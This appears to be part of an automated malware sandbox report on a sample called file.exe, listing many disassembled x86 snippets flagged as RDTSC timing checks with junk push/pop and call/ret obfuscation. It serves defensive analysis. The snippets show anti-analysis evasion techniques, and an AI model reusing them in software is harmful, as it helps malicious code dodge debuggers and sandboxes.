Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B48BF5 second address: B48C72 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FF018B87196h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007FF018B87188h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 push 00000000h 0x0000002b jmp 00007FF018B87199h 0x00000030 mov ecx, esi 0x00000032 call 00007FF018B87189h 0x00000037 jmp 00007FF018B87192h 0x0000003c push eax 0x0000003d push edi 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B48C72 second address: B48C76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B48C76 second address: B48CBB instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF018B87186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push edx 0x00000010 jmp 00007FF018B8718Ch 0x00000015 pop edx 0x00000016 mov eax, dword ptr [eax] 0x00000018 jne 00007FF018B87191h 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 pushad 0x00000023 jg 00007FF018B8718Ch 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B48CBB second address: B48CBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B48CBF second address: B48CF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 sub dword ptr [ebp+122D3315h], eax 0x0000000e push 00000003h 0x00000010 sbb dx, 0602h 0x00000015 push 00000000h 0x00000017 add dl, FFFFFFB4h 0x0000001a push 00000003h 0x0000001c push edx 0x0000001d mov ecx, dword ptr [ebp+122D2C36h] 0x00000023 pop edi 0x00000024 push 5F8B8B52h 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c jng 00007FF018B87186h 0x00000032 pop eax 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67F9A second address: B67F9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3B21A second address: B3B223 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B66016 second address: B66028 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF018BAC39Ch 0x00000008 jbe 00007FF018BAC396h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B66028 second address: B6603F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018B87193h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B662FA second address: B66305 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B66305 second address: B6631D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FF018B8718Fh 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B66499 second address: B664A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 push esi 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6677B second address: B66783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B66783 second address: B6678D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FF018BAC396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6678D second address: B66797 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF018B87186h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B66797 second address: B667A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B667A3 second address: B667A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B66FC8 second address: B66FCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B66FCD second address: B66FD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B66FD3 second address: B66FE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018BAC39Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67151 second address: B6715F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FF018B87186h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6783A second address: B6783E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6783E second address: B67856 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF018B87186h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007FF018B8718Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B679A8 second address: B679AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B679AD second address: B679B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B679B3 second address: B679B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B679B7 second address: B679C2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67B42 second address: B67B4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FF018BAC396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67B4C second address: B67B50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A36F second address: B6A375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A375 second address: B6A379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A379 second address: B6A3A6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FF018BAC39Ah 0x0000000d jbe 00007FF018BAC398h 0x00000013 jmp 00007FF018BAC39Dh 0x00000018 popad 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c push edi 0x0000001d pop edi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A3A6 second address: B6A3AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6D5DF second address: B6D5E9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF018BAC396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6D5E9 second address: B6D603 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B8718Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6D603 second address: B6D61D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC39Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007FF018BAC396h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B73C5C second address: B73C8D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FF018B87197h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop esi 0x0000000b push esi 0x0000000c jnl 00007FF018B87186h 0x00000012 pop esi 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jl 00007FF018B8718Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B73C8D second address: B73C91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B731A8 second address: B731C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FF018B87192h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B731C0 second address: B731CE instructions: 0x00000000 rdtsc 0x00000002 js 00007FF018BAC396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B731CE second address: B731E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018B8718Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B737CB second address: B737D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B737D7 second address: B737DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B737DB second address: B737E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B737E7 second address: B737EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B73A99 second address: B73A9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B73A9D second address: B73AAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jnc 00007FF018B87186h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B73AAC second address: B73ADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jmp 00007FF018BAC39Ah 0x00000010 pop edi 0x00000011 jo 00007FF018BAC3A8h 0x00000017 jmp 00007FF018BAC3A2h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B73ADA second address: B73AE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B73AE0 second address: B73AEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018BAC39Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7633C second address: B76350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF018B8718Dh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B76963 second address: B76969 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B76969 second address: B7696D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B769FA second address: B76A0F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF018BAC396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f ja 00007FF018BAC396h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B773AE second address: B773B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B773B4 second address: B773B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B773B8 second address: B773BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B77436 second address: B77454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018BAC3A9h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B77454 second address: B7747D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87193h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122D221Ah], esi 0x00000010 xchg eax, ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jc 00007FF018B8718Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7747D second address: B77481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B77481 second address: B774AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87199h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jl 00007FF018B87192h 0x00000010 jo 00007FF018B8718Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B779A6 second address: B779B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FF018BAC396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B779B0 second address: B779F6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov esi, dword ptr [ebp+122D2E2Eh] 0x00000011 push 00000000h 0x00000013 movzx esi, si 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 pushad 0x0000001a jmp 00007FF018B87195h 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FF018B87195h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78248 second address: B78252 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B79386 second address: B79398 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF018B87186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007FF018B8718Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B79F92 second address: B7A001 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007FF018BAC398h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 mov edi, dword ptr [ebp+122D3A57h] 0x0000002a push 00000000h 0x0000002c pushad 0x0000002d and esi, dword ptr [ebp+122D2CDEh] 0x00000033 sub bx, 1D69h 0x00000038 popad 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push esi 0x0000003e call 00007FF018BAC398h 0x00000043 pop esi 0x00000044 mov dword ptr [esp+04h], esi 0x00000048 add dword ptr [esp+04h], 00000017h 0x00000050 inc esi 0x00000051 push esi 0x00000052 ret 0x00000053 pop esi 0x00000054 ret 0x00000055 or esi, 6F0F2A46h 0x0000005b xchg eax, ebx 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B79CEE second address: B79CF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7A001 second address: B7A006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7A006 second address: B7A03F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF018B8718Fh 0x00000008 jmp 00007FF018B87194h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 js 00007FF018B87186h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push edi 0x0000001f pop edi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7A996 second address: B7A99C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7B48C second address: B7B490 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7C1BE second address: B7C1C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7B490 second address: B7B496 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7C1C2 second address: B7C1CC instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF018BAC396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7B496 second address: B7B49C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7B49C second address: B7B4A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B819E6 second address: B819FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B8718Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007FF018B8718Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B819FC second address: B81A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 and di, 8C31h 0x0000000d push 00000000h 0x0000000f mov dword ptr [ebp+122D3450h], ecx 0x00000015 mov di, cx 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push esi 0x0000001d call 00007FF018BAC398h 0x00000022 pop esi 0x00000023 mov dword ptr [esp+04h], esi 0x00000027 add dword ptr [esp+04h], 00000018h 0x0000002f inc esi 0x00000030 push esi 0x00000031 ret 0x00000032 pop esi 0x00000033 ret 0x00000034 xchg eax, esi 0x00000035 je 00007FF018BAC3A0h 0x0000003b pushad 0x0000003c pushad 0x0000003d popad 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B829B3 second address: B829B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7FB35 second address: B7FB39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84BA4 second address: B84BA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84BA9 second address: B84BAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B83DBB second address: B83DD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87195h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B83DD4 second address: B83DDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FF018BAC396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B83DDE second address: B83DF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jnc 00007FF018B87186h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B86BF1 second address: B86BF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B86BF6 second address: B86C00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FF018B87186h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B89BBB second address: B89BC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FF018BAC396h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8BE5C second address: B8BEBA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FF018B8718Ch 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 add dword ptr [ebp+122D3C74h], eax 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007FF018B87188h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 0000001Ah 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 mov dword ptr [ebp+122D3718h], ecx 0x00000038 mov dword ptr [ebp+122D3AEBh], edi 0x0000003e push 00000000h 0x00000040 mov ebx, dword ptr [ebp+122D3461h] 0x00000046 xchg eax, esi 0x00000047 pushad 0x00000048 jbe 00007FF018B8718Ch 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9066A second address: B9067F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC3A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B96D0B second address: B96D0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9AB42 second address: B9AB5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC3A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9AB5B second address: B9AB61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
